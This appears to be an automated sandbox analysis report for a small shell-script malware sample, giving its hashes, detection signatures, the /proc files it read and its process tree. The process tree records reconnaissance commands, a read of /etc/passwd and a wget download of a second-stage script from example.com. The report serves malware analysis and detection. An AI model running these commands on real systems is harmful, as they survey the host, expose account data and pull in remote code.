Analysis
- max time kernel
0s - max time network
14s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
02/08/2026, 15:14
Static task
static1
Behavioral task
behavioral1
Sample
3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh
Resource
ubuntu1804-amd64-20260513-en
ubuntu-18.04-amd64
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh
Resource
debian9-armhf-20260513-en
debian-9-armhf
4 signatures
40 seconds
Behavioral task
behavioral3
Sample
3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
0 signatures
40 seconds
Behavioral task
behavioral4
Sample
3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
0 signatures
40 seconds
General
- Target 3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh
- Size 178B
- Sample260802-smnyback3s
- SHA256 3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82
- MD5 8d3e84accd99d13b3127c2ae4379b004
- SHA1 47d0ed268f5dfedb866ed1186f08fa78ac6c6b83
- SHA512 cc11916854ba79a3591a121e42bd0d43f7b63b5e6b7f0a2cfc99c25c56ff37584dbbb1d521809f2b0e35cf831a9ff630c2e3596d437f1c541e8dd1758358ded8
- TLSH T1D0C0C0DF4209CBA40C17C0501D848176D040D2472300009C8CF8C9CB10BD30AB241981
- MD5 SHA1 SHA512 TLSH
Score
6/10
Malware Config
Signatures
- Enumerates running processes
Discovers information about currently running processes on the system
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1505 ps - Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/1458/stat ps File opened for reading /proc/16/stat ps File opened for reading /proc/1266/status ps File opened for reading /proc/2/stat ps File opened for reading /proc/12/cmdline ps File opened for reading /proc/13/status ps File opened for reading /proc/26/cmdline ps File opened for reading /proc/98/cmdline ps File opened for reading /proc/174/stat ps File opened for reading /proc/270/cmdline ps File opened for reading /proc/1066/stat ps File opened for reading /proc/13/cmdline ps File opened for reading /proc/469/stat ps File opened for reading /proc/667/status ps File opened for reading /proc/1092/status ps File opened for reading /proc/17/cmdline ps File opened for reading /proc/502/status ps File opened for reading /proc/638/cmdline ps File opened for reading /proc/1161/stat ps File opened for reading /proc/34/stat ps File opened for reading /proc/175/cmdline ps File opened for reading /proc/1079/status ps File opened for reading /proc/1314/stat ps File opened for reading /proc/1343/stat ps File opened for reading /proc/13/stat ps File opened for reading /proc/21/stat ps File opened for reading /proc/24/cmdline ps File opened for reading /proc/83/stat ps File opened for reading /proc/667/stat ps File opened for reading /proc/990/status ps File opened for reading /proc/filesystems id File opened for reading /proc/25/cmdline ps File opened for reading /proc/163/status ps File opened for reading /proc/496/cmdline ps File opened for reading /proc/942/cmdline ps File opened for reading /proc/962/status ps File opened for reading /proc/1086/cmdline ps File opened for reading /proc/24/status ps File opened for reading /proc/23/stat ps File opened for reading /proc/171/cmdline ps File opened for reading /proc/1023/status ps File opened for reading /proc/1035/status ps File opened for reading /proc/1068/stat ps File opened for reading /proc/1140/cmdline ps File opened for reading /proc/901/status ps File opened for reading /proc/928/status ps File opened for reading /proc/971/stat ps File opened for reading /proc/1092/stat ps File opened for reading /proc/1505/stat ps File opened for reading /proc/928/stat ps File opened for reading /proc/436/cmdline ps File opened for reading /proc/440/stat ps File opened for reading /proc/490/status ps File opened for reading /proc/661/stat ps File opened for reading /proc/971/cmdline ps File opened for reading /proc/1058/stat ps File opened for reading /proc/1488/cmdline ps File opened for reading /proc/24/stat ps File opened for reading /proc/32/status ps File opened for reading /proc/10/cmdline ps File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/171/stat ps File opened for reading /proc/172/stat ps File opened for reading /proc/502/stat ps
Processes
-
/tmp/3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh/tmp/3f51f54afa21ddd4e099e2e4d6dfb1a8ea961cdb7d9bd024abaf5e50e9ca2c82.sh1⤵PID:1492
-
/bin/unameuname -a2⤵PID:1493
-
-
/usr/bin/idid2⤵
- Reads runtime system information
PID:1494
-
-
/bin/lsls -la /2⤵PID:1495
-
-
/bin/catcat /etc/passwd2⤵PID:1496
-
-
/usr/bin/wgetwget http://example.com/y.sh2⤵PID:1497
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1505
-